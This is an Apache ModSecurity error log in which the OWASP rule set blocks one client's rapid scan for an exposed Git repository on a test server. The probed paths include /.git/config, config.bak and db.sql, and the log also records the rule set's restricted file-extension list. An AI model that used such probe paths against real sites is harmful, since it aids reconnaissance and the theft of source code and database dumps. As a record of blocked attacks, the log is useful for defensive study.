[Tue Aug 05 11:03:25.738205 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstsgAAAAI&quot;]
[Tue Aug 05 11:03:25.738419 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstsgAAAAI&quot;]
[Tue Aug 05 11:03:25.760627 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/orig_head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/ORIG_HEAD&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstswAAAAI&quot;]
[Tue Aug 05 11:03:25.760869 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/ORIG_HEAD&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstswAAAAI&quot;]
[Tue Aug 05 11:03:25.761058 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/ORIG_HEAD&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstswAAAAI&quot;]
[Tue Aug 05 11:03:25.783295 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/backup&quot;] [unique_id &quot;aJHI3awAMarSM4GUXksttAAAAAI&quot;]
[Tue Aug 05 11:03:25.783515 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/backup&quot;] [unique_id &quot;aJHI3awAMarSM4GUXksttAAAAAI&quot;]
[Tue Aug 05 11:03:25.783702 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/backup&quot;] [unique_id &quot;aJHI3awAMarSM4GUXksttAAAAAI&quot;]
[Tue Aug 05 11:03:25.806147 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aJHI3awAMarSM4GUXksttQAAAAI&quot;]
[Tue Aug 05 11:03:25.806393 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aJHI3awAMarSM4GUXksttQAAAAI&quot;]
[Tue Aug 05 11:03:25.806561 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aJHI3awAMarSM4GUXksttQAAAAI&quot;]
[Tue Aug 05 11:03:25.828936 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config.bak&quot;] [unique_id &quot;aJHI3awAMarSM4GUXksttgAAAAI&quot;]
[Tue Aug 05 11:03:25.829086 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config.bak&quot;] [unique_id &quot;aJHI3awAMarSM4GUXksttgAAAAI&quot;]
[Tue Aug 05 11:03:25.829326 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config.bak&quot;] [unique_id &quot;aJHI3awAMarSM4GUXksttgAAAAI&quot;]
[Tue Aug 05 11:03:25.829516 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config.bak&quot;] [unique_id &quot;aJHI3awAMarSM4GUXksttgAAAAI&quot;]
[Tue Aug 05 11:03:25.851863 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config.old&quot;] [unique_id &quot;aJHI3awAMarSM4GUXksttwAAAAI&quot;]
[Tue Aug 05 11:03:25.852022 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config.old&quot;] [unique_id &quot;aJHI3awAMarSM4GUXksttwAAAAI&quot;]
[Tue Aug 05 11:03:25.852249 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config.old&quot;] [unique_id &quot;aJHI3awAMarSM4GUXksttwAAAAI&quot;]
[Tue Aug 05 11:03:25.852444 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config.old&quot;] [unique_id &quot;aJHI3awAMarSM4GUXksttwAAAAI&quot;]
[Tue Aug 05 11:03:25.874859 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config~&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config~&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstuAAAAAI&quot;]
[Tue Aug 05 11:03:25.875108 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config~&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstuAAAAAI&quot;]
[Tue Aug 05 11:03:25.875309 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config~&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstuAAAAAI&quot;]
[Tue Aug 05 11:03:25.899083 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/db.sql&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstuQAAAAI&quot;]
[Tue Aug 05 11:03:25.899232 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/db.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/db.sql&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstuQAAAAI&quot;]
[Tue Aug 05 11:03:25.899453 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/db.sql&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstuQAAAAI&quot;]
[Tue Aug 05 11:03:25.899638 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/db.sql&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstuQAAAAI&quot;]
[Tue Aug 05 11:03:25.922023 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/description&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/description&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstugAAAAI&quot;]
[Tue Aug 05 11:03:25.922266 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/description&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstugAAAAI&quot;]
[Tue Aug 05 11:03:25.922468 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/description&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstugAAAAI&quot;]
[Tue Aug 05 11:03:25.944768 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/dump.sql&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstuwAAAAI&quot;]
